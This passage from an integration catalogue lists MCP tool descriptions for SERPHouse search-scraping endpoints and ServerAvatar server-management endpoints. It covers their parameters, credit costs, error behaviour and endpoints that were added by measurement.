defaults rather than from what you meant. The credential is NEVER sent as the `api_token` query parameter this endpoint also accepts: it rides in the `Authorization` header, so it cannot end up in a log line or a referrer. THIS CALL IS SLOW -- measured 31.5s and 41.2s on 2026-09-24 against the live API, so allow minutes rather than seconds. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. GET /api/v1/serphouse/serp/live. Scopes: api. serphouse_post_bing_image (read) — Scrape Bing Images for a query and get each result's thumbnail, source page and dimensions. NO `domain` and NO `device` argument. `lang` is a locale (`en-US`), and you must pass `loc` or `loc_id`. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/bing-image. Scopes: api. serphouse_post_bing_news (read) — Scrape Bing News for a query and get the articles parsed -- headline, source, publication time and link. Bing's news index differs from Google's, which is the point of reading both. NO `domain` ARGUMENT; `lang` is a locale (`en-US`). A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/bing-news. Scopes: api. serphouse_post_bing_web (read) — Scrape one page of Bing web results and get the blocks back parsed. NO `domain` ARGUMENT -- Bing is served from one domain, so unlike the Google and Yahoo tools this one takes none. `lang` is a LOCALE here (`en-US`, `fr-FR`), not a bare language code; `serphouse_get_language_list_by_type` with `type=bing` is the list. Pass `loc` OR `loc_id`, and remember Bing's location database is separate from Google's, so look the location up with `type=bing`. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/bing-web. Scopes: api. serphouse_post_google_autocomplete_api (read) — Get the suggestions Google offers while a query is being typed -- the cheapest keyword research this provider sells, and the only search tool that needs nothing but `q`. `client` picks which autocomplete surface to imitate (`chrome`, `safari`, `youtube`, ...) and the sets genuinely differ, so `youtube` is how you read video-search intent. COSTS 5 CREDITS PER CALL rather than the 10 a SERP costs (measured 2026-09-24: three calls moved the balance by 15). Suggestions are localised by `lang` and `loc`. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/google-autocomplete-api. Scopes: api. serphouse_post_google_forums_api (read) — Scrape Google's forums / discussions surface -- Reddit, Stack Exchange, vendor communities and the rest -- rather than the general web index. This is what to call when you want what people SAID about something instead of what publishers wrote about it. `verbatim=1` stops Google rewriting a narrow query into a broader one. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/google-forums-api. Scopes: api. serphouse_post_google_image (read) — Scrape Google Images for a query and get each result's thumbnail, source page, dimensions and title. Pass `loc` OR `loc_id`. Image results are paged differently from web results -- a page carries many more items -- so a `page` walk goes deep quickly. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/google-image. Scopes: api. serphouse_post_google_jobs_api (read) — Scrape the Google Jobs surface and get the postings parsed -- title, employer, location, posting age and the boards Google aggregated them from. `date_range` restricts to recently posted roles. Pass `loc` or `loc_id` to read a specific market; job results are among the most location-sensitive Google surfaces. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/google-jobs-api. Scopes: api. serphouse_post_google_local_api (read) — Scrape the Google Local pack / Maps listings for a query and get each business parsed -- name, rating, review count, address, category and hours where Google shows them. This is the surface for 'who ranks locally for X', which is a different question from the organic web ranking `serphouse_post_google_web` answers. Pass `loc` or `loc_id` to say where 'locally' is. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/google-local-api. Scopes: api. serphouse_post_google_news (read) — Scrape Google News for a query and get the articles parsed -- headline, source, publication time, link and thumbnail. `date_range` is the useful control here: `h`, `d`, `w`, `m`, `y` or an explicit `YYYY-MM-DD,YYYY-MM-DD` window, which is how you ask for coverage of an event rather than whatever is currently ranking. Pass `loc` OR `loc_id`. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/google-news. Scopes: api. serphouse_post_google_shop (read) — Scrape Google Shopping for a product query and get the listings parsed -- title, price, merchant, rating, review count and link. SHOPPING RESULTS ARE STRONGLY LOCALISED: the same query returns different merchants and currencies per location, so the `loc`/`loc_id` you pass decides the market you are reading, and passing neither is refused. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/google-shop. Scopes: api. serphouse_post_google_short_videos_api (read) — Scrape Google's SHORT-form video surface (Shorts) for a query -- a different index from `serphouse_post_google_videos_api`, which returns long-form results. Use this one for TikTok/Reels/Shorts-style coverage of a topic. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/google-short-videos-api. Scopes: api. serphouse_post_google_videos_api (read) — Scrape Google Videos for a query and get each result's title, channel, duration, platform and link. `video_duration` (`short` 0-4 min, `medium` 4-20 min, `long` 20+ min), `video_quality` and `video_captions` narrow the set before it is scraped, which is cheaper than filtering afterwards. For the Shorts surface use `serphouse_post_google_short_videos_api`. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/google-videos-api. Scopes: api. serphouse_post_google_web (read) — Scrape one page of Google web results and get every block back parsed: `results.results` carries `organic`, `ads`, `local_pack`, `people_also_ask`, `related_searches`, `top_stories`, `knowledge_graph`, `inline_images`, `inline_videos` and `search_information` where Google shows them. Pass `loc` OR `loc_id` -- the API refuses a request carrying neither. One page is up to 10 results; use `serphouse_post_serp_google_advanced` to reach the top 100. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/google-web. Scopes: api. serphouse_post_serp_google_advanced (read) — Run one Google search DEEP: SERPHouse walks up to ten result pages and returns them together, which is how you get past Google's cap of 10 results per request (Google restricted the `num` parameter, so a single request cannot ask for 100). `max_pages` sets how far to go -- `max_pages=5` is up to 50 results, `max_pages=10` up to 100. BILLED PER PAGE at 10 credits a page, and only for pages that actually exist: asking for 7 when 2 are available costs 20. Use `serphouse_post_serp_google_advanced_scheduled` for the same search in the background. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/serp/google_advanced. Scopes: api. serphouse_post_serp_google_advanced_scheduled (write) — Queue a batch of DEEP Google searches in the background -- the scheduled form of `serphouse_post_serp_google_advanced`, which walks multiple result pages to get past Google's 10-results-per-request cap. Send an ARRAY of task objects; the response returns one row per task with its `id`, polled with `serphouse_get_serp_check` and collected with `serphouse_get_serp_get`. BILLED PER PAGE AND UP FRONT: 10 credits per page requested via `max_pages`, charged when the batch is accepted (measured 2026-09-24: one task at `max_pages=1` moved the balance by 10). A 100-task batch at `max_pages=10` is 10,000 credits, which is more than the entire free allowance. POST /api/v1/serphouse/serp/google_advanced_scheduled. Scopes: api. serphouse_post_serp_live (read) — Run a real-time search on any supported engine and get the parsed SERP straight back, with `serp_type` choosing between `web`, `news`, `image` and `shop`. This is the general-purpose live search: the per-engine tools (`serphouse_post_google_web`, `serphouse_post_bing_web`, ...) are narrower surfaces over the same scraping, and the scheduled tools are the same work without the wait. Pass `loc` OR `loc_id` for geo-targeting. THIS CALL IS SLOW -- measured 31.5s and 41.2s on 2026-09-24 against the live API, so allow minutes rather than seconds. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/serp/live. Scopes: api. serphouse_post_serp_schedule (write) — Queue a batch of searches to run in the background instead of waiting on a live scrape. Send an ARRAY of task objects (SERPHouse recommends at most 100 per call); the response returns one row per task, each with its own `id`. Poll a task with `serphouse_get_serp_check` and collect it with `serphouse_get_serp_get`, or set `postback_url` on the task and have SERPHouse POST the result to you instead. THIS SPENDS CREDITS AT SCHEDULING TIME, not at collection time -- measured 2026-09-24, a one-task batch moved the balance by 10 the moment it was accepted, so a 100-task batch costs 1,000 credits up front. Use this rather than the live tools whenever latency matters: a live search took 31-41 seconds in the same measurement while scheduling answered in under a second. POST /api/v1/serphouse/serp/schedule. Scopes: api. serphouse_post_web_search_lite (read) — Scrape Google web results in a LITE shape: the organic listings, without the ads, knowledge panels and other rich blocks `serphouse_post_google_web` returns. Use it when you only want the ranking and do not want to pay for parsing the rest. GEO-TARGETING IS DIFFERENT HERE: this endpoint takes `gl` (a two-letter country code) as the alternative to `loc`, NOT `loc_id`, and refuses a request carrying neither with `The gl field is required when loc is not present.` A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/web-search-lite. Scopes: api. serphouse_post_yahoo_image (read) — Scrape Yahoo Images for a query. `domain` must be a REGIONAL Yahoo host (`us.yahoo.com`) and `lang` the `lang_`-prefixed form (`lang_en`). No `device` and no location argument on this one. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/yahoo-image. Scopes: api. serphouse_post_yahoo_news (read) — Scrape Yahoo News for a query and get the articles parsed. `domain` must be a REGIONAL Yahoo host (`us.yahoo.com`) and `lang` the `lang_`-prefixed form (`lang_en`); there is no location argument, so the regional domain is what chooses the market. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/yahoo-news. Scopes: api. serphouse_post_yahoo_web (read) — Scrape one page of Yahoo web results. TWO YAHOO-SPECIFIC SPELLINGS, and getting either wrong is refused rather than corrected: `domain` must be a REGIONAL Yahoo host (`us.yahoo.com`, `in.yahoo.com`) because bare `yahoo.com` is not a valid domain, and `lang` is the `lang_`-prefixed form (`lang_en`). There is no location argument on the Yahoo tools -- the regional domain is how the market is chosen. A 200 IS NOT A SUCCESS ON THIS PROVIDER: a scrape that failed upstream answers HTTP 200 with `{"status": "error", "msg": "Please try again"}`, so this integration reads the body's `status` field and raises instead of handing back an empty result. Those failures cost NO credits (measured 2026-09-24: the balance was unchanged across two of them), so retrying is the right response. Standard plans allow 60 requests/minute. POST /api/v1/serphouse/yahoo-web. Scopes: api. ================================================================================ ## ServerAvatar URL: https://www.agenticfabriq.com/integrations/serveravatar Section: Integrated Tools ServerAvatar — 205 MCP tools Provider key: serveravatar. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. serveravatar_delete_organizations_by_organization_git_providers_by_provider_id (write, destructive) — Delete connected git provider account. Calls DELETE /organizations/{organization}/git-providers/{provider_id}. MEASURED 2026-09-24: this one address answers 401 {"message":"Unauthenticated."} to a VALID API key, in two different organizations, on GET as well as DELETE -- while the collection read above it answers 200 and the sibling routes under it behave normally (.../repositories answers the resource 404, .../branches answers a 422 naming its required field) with the SAME key. So a 401 here is NOT evidence that the key is wrong, and re-minting one will not fix it; only this sub-route is affected. Cause unestablished -- most likely a different auth guard on that route at ServerAvatar's end -- and the reason it is worth saying is that the message sends an operator to the one remedy that cannot work. DELETE /api/v1/serveravatar/organizations/{organization}/git-providers/{provider_id}. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server (write, destructive) — Use this method to delete a server. note that, once the server is disconnect from ServerAvatar, you can not re-connect it without the help of support. Calls DELETE /organizations/{organization}/servers/{server}. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server_applications_by_application (write, destructive) — Delete a specific application present on the server. Calls DELETE /organizations/{organization}/servers/{server}/applications/{application}. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server_applications_by_application_application_domains_by_application_domain (write, destructive) — Delete the application domain. Note that you can't retrive it back once you delete it. Calls DELETE /organizations/{organization}/servers/{server}/applications/{application}/application-domains/{application_domain}. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/application-domains/{application_domain}. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server_applications_by_application_dns_manager (write, destructive) — Delete cloudflare detail. Calls DELETE /organizations/{organization}/servers/{server}/applications/{application}/dns-manager. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server_applications_by_application_dns_manager_dns_records_by_record (write, destructive) — Delete cloudflare details. Calls DELETE /organizations/{organization}/servers/{server}/applications/{application}/dns-manager/dns-records/{record}. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager/dns-records/{record}. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server_applications_by_application_fail2ban (write, destructive) — Enable or disable SSH Fail2ban. Calls DELETE /organizations/{organization}/servers/{server}/applications/{application}/fail2ban. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/fail2ban. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server_applications_by_application_file_managers_file_delete (write, destructive) — Delete the file or folder. note that, you can't restore it once you deleted. Calls DELETE /organizations/{organization}/servers/{server}/applications/{application}/file-managers/file/delete. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/file-managers/file/delete. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server_applications_by_application_remove_staging_area (write, destructive) — Remove staging area. Calls DELETE /organizations/{organization}/servers/{server}/applications/{application}/remove-staging-area. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/remove-staging-area. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server_applications_by_application_ssl (write, destructive) — Uninstall SSL certificate of the application. Calls DELETE /organizations/{organization}/servers/{server}/applications/{application}/ssl. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/ssl. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server_applications_by_application_supervisors_by_supervisor (write, destructive) — To Delete a Process. Calls DELETE /organizations/{organization}/servers/{server}/applications/{application}/supervisors/{supervisor}. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/supervisors/{supervisor}. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server_applications_by_application_tags (write, destructive) — Delete all tags associated with a specific application on a server. Calls DELETE /organizations/{organization}/servers/{server}/applications/{application}/tags. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/tags. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_plugins_uninstall (write, destructive) — Install, update, activate, deactivate, and uninstall WordPress plugins from WordPress.org. Requires the WordPress Toolkit add-on. Calls DELETE /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/plugins/uninstall. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/plugins/uninstall. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_themes_uninstall (write, destructive) — Install, update, activate, and uninstall WordPress themes from WordPress.org. Requires the WordPress Toolkit add-on. Calls DELETE /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/themes/uninstall. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/themes/uninstall. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server_cronjobs_by_cronjob (write, destructive) — Delete the cronjob schedule. Note: the automatic process will stop immidiatly once you deleted the cronjob. Calls DELETE /organizations/{organization}/servers/{server}/cronjobs/{cronjob}. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}/cronjobs/{cronjob}. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server_databases_by_database (write, destructive) — To delete the database. Calls DELETE /organizations/{organization}/servers/{server}/databases/{database}. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}/databases/{database}. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server_firewall_rules_by_firewall (write, destructive) — Delete the firewall rule. note that server start allowing/denying traffic on the port once the rule is deleted. Calls DELETE /organizations/{organization}/servers/{server}/firewall-rules/{firewall}. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}/firewall-rules/{firewall}. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server_hosting_user_by_hosting_user (write, destructive) — To disable a control panel access user. Calls DELETE /organizations/{organization}/servers/{server}/hosting-user/{hosting_user}. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}/hosting-user/{hosting_user}. Scopes: api. serveravatar_delete_organizations_by_organization_servers_by_server_tags (write, destructive) — Delete all tags associated with a specific server. Calls DELETE /organizations/{organization}/servers/{server}/tags. DELETE /api/v1/serveravatar/organizations/{organization}/servers/{server}/tags. Scopes: api. serveravatar_delete_wordpress_blueprints_by_wordpressblueprint (write, destructive) — Delete a WordPress blueprint. Requires an active WordPress Toolkit add-on on the account. Calls DELETE /wordpress-blueprints/{wordpressBlueprint}. DELETE /api/v1/serveravatar/wordpress-blueprints/{wordpressBlueprint}. Scopes: api. serveravatar_get_organizations (read) — List the ServerAvatar organizations this API key can reach, with each organization's id, name, creation time and members (name, email, avatar and roles). START HERE: almost every other ServerAvatar action takes an `organization` id in its path, and this is the only read that does not -- ServerAvatar's own `GET /organizations/{organization}` needs the id you came here for. Calls GET /organizations. NOT IN SERVERAVATAR'S DOCUMENTATION -- added by measurement. The vendor's 156 documentation pages carry the organization create and the single-organization read and no collection read, but the route serves one: measured 2026-09-24 with a valid key, GET answers 200 with the organization list and a bogus bearer answers 401 'Unauthenticated.', while PATCH, PUT and DELETE each answer 405 naming the route's real verbs -- 'Supported methods: GET, HEAD, POST.' ServerAvatar's own refusals state that GET is supported. Without this tool an agent holding a working key cannot discover the organization id that 196 of the other 204 operations require. GET /api/v1/serveravatar/organizations. Scopes: api. serveravatar_get_organizations_by_organization (read) — Get an organization. Calls GET /organizations/{organization}. GET /api/v1/serveravatar/organizations/{organization}. Scopes: api. serveravatar_get_organizations_by_organization_backups (read) — List the organization's backups as a paginated envelope. This is the read that produces the `backupId` ServerAvatar's own restore and download actions require. Calls GET /organizations/{organization}/backups. NOT IN SERVERAVATAR'S DOCUMENTATION -- added by measurement. Measured 2026-09-24 with a valid key: GET answers 200 with a Laravel paginated envelope (current_page, data, links, per_page 10), `?page=2` answers with current_page 2, and PATCH answers 405 'Supported methods: GET, HEAD.' -- ServerAvatar naming GET as the verb of its own route. GET /api/v1/serveravatar/organizations/{organization}/backups. Scopes: api. serveravatar_get_organizations_by_organization_backups_archive_by_type (read) — Get the list of archive backups. Calls GET /organizations/{organization}/backups/archive/{type}. GET /api/v1/serveravatar/organizations/{organization}/backups/archive/{type}. Scopes: api. serveravatar_get_organizations_by_organization_backups_by_backupid_by_type_download (read) — Download backup. Calls GET /organizations/{organization}/backups/{backupId}/{type}/download. GET /api/v1/serveravatar/organizations/{organization}/backups/{backupId}/{type}/download. Scopes: api. serveravatar_get_organizations_by_organization_backups_by_backupid_restore (read) — Restore the backup. Calls GET /organizations/{organization}/backups/{backupId}/restore. GET /api/v1/serveravatar/organizations/{organization}/backups/{backupId}/restore. Scopes: api. serveravatar_get_organizations_by_organization_backups_deleted_server (read) — Get the list of deleted servers. Calls GET /organizations/{organization}/backups/deleted-server. GET /api/v1/serveravatar/organizations/{organization}/backups/deleted-server. Scopes: api. serveravatar_get_organizations_by_organization_cloud_server_providers (read) — List the cloud server provider accounts (AWS, DigitalOcean, Linode, Vultr) connected to the organization. This is the read that produces the `cloudServerProvider` id ServerAvatar's own region and size lookups require before a server can be provisioned. Calls GET /organizations/{organization}/cloud-server-providers. NOT IN SERVERAVATAR'S DOCUMENTATION -- added by measurement. Measured 2026-09-24 with a valid key: GET answers 200 with a bare JSON array, `?pagination=1` flips it to a paginated envelope exactly as its documented cloud-storage-providers sibling does, and PATCH answers 405 'Supported methods: GET, HEAD, POST.' -- ServerAvatar naming GET as a verb of its own route. Both documented lookups under this path (`.../{cloudServerProvider}/regions` and `/sizes`) already ship and neither is reachable without the id this returns. GET /api/v1/serveravatar/organizations/{organization}/cloud-server-providers. Scopes: api. serveravatar_get_organizations_by_organization_cloud_server_providers_by_cloudserverprovider_regions (read) — Get regions of the connected cloud service provider. Calls GET /organizations/{organization}/cloud-server-providers/{cloudServerProvider}/regions. GET /api/v1/serveravatar/organizations/{organization}/cloud-server-providers/{cloudServerProvider}/regions. Scopes: api. serveravatar_get_organizations_by_organization_cloud_server_providers_by_cloudserverprovider_sizes (read) — Get an instance size of the server. Calls GET /organizations/{organization}/cloud-server-providers/{cloudServerProvider}/sizes. GET /api/v1/serveravatar/organizations/{organization}/cloud-server-providers/{cloudServerProvider}/sizes. Scopes: api. serveravatar_get_organizations_by_organization_cloud_storage_providers (read) — Get a cloud storage providers. Calls GET /organizations/{organization}/cloud-storage-providers. GET /api/v1/serveravatar/organizations/{organization}/cloud-storage-providers. Scopes: api. serveravatar_get_organizations_by_organization_git_providers (read) — List the git provider accounts connected to the organization, as a paginated envelope. This is the read that produces the `provider_id` ServerAvatar's own repository, branch and delete actions require. Calls GET /organizations/{organization}/git-providers. NOT IN SERVERAVATAR'S DOCUMENTATION -- added by measurement, and this one leaves a documented DELETE unusable without it: `DELETE .../git-providers/{provider_id}` ships and nothing else lists the ids. Measured 2026-09-24 with a valid key: GET answers 200 with a Laravel paginated envelope, `?page=2` answers with current_page 2, and PATCH answers 405 'Supported methods: GET, HEAD.'. GET /api/v1/serveravatar/organizations/{organization}/git-providers. Scopes: api. serveravatar_get_organizations_by_organization_git_providers_by_provider_id_repositories (read) — Use this method to get a list of selected git provider account's repository. Calls GET /organizations/{organization}/git-providers/{provider_id}/repositories. GET /api/v1/serveravatar/organizations/{organization}/git-providers/{provider_id}/repositories. Scopes: api. serveravatar_get_organizations_by_organization_members (read) — List of organization members. Calls GET /organizations/{organization}/members. GET /api/v1/serveravatar/organizations/{organization}/members. Scopes: api. serveravatar_get_organizations_by_organization_servers (read) — List the servers connected to a ServerAvatar organization, with each server's id. 176 of the other 199 actions take a `server` id in their path, and this is the read that produces one -- ServerAvatar's own `GET .../servers/{server}` needs an id you must already have. Calls GET /organizations/{organization}/servers. NOT IN SERVERAVATAR'S DOCUMENTATION -- added by measurement, the same way and on the same day as the organization list. Measured 2026-09-24 with a valid key: GET answers 200 {"servers":[]} on an account with none connected, and PATCH on the same path answers 405 'The PATCH method is not supported for route organizations/20849/servers. Supported methods: GET, HEAD, POST.' -- ServerAvatar naming GET as a verb of its own route. The documented POST on this path already ships. It is NOT paginated: `?page=2` returns the same body. GET /api/v1/serveravatar/organizations/{organization}/servers. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server (read) — Get a detail of particular server of the account. Calls GET /organizations/{organization}/servers/{server}. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_alert (read) — list all alerts. Calls GET /organizations/{organization}/servers/{server}/alert. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/alert. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application (read) — Get the detail of the application. Calls GET /organizations/{organization}/servers/{server}/applications/{application}. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_application_domains_by_application_domain_edit (read) — Enable or disable application domain. you can't disable the primary domain of the application if you don't add another domain on that application. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/application-domains/{application_domain}/edit. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/application-domains/{application_domain}/edit. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_basic_authentication (read) — This API endpoint allows users to manage basic authentication for a specified application on a server. It includes retrieving, creating, and disabling basic authentication. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/basic-authentication. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/basic-authentication. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_dns_manager (read) — Get the detail of Cloudflare integration. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/dns-manager. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_dns_manager_dns_records (read) — List of Cloudflare dns records. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/dns-manager/dns-records. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager/dns-records. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_dns_manager_ssl (read) — Get the detail of cloudflare SSL/TLS encryption. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl. Scopes: api. serveravatar_get_organizations_by_organization_servers_by_server_applications_by_application_dns_manager_ssl_edge_certificate (read) — List of cloudflare edge-certificates. Calls GET /organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/edge-certificate. GET /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager/ssl/edge-certificate. Scopes: api. 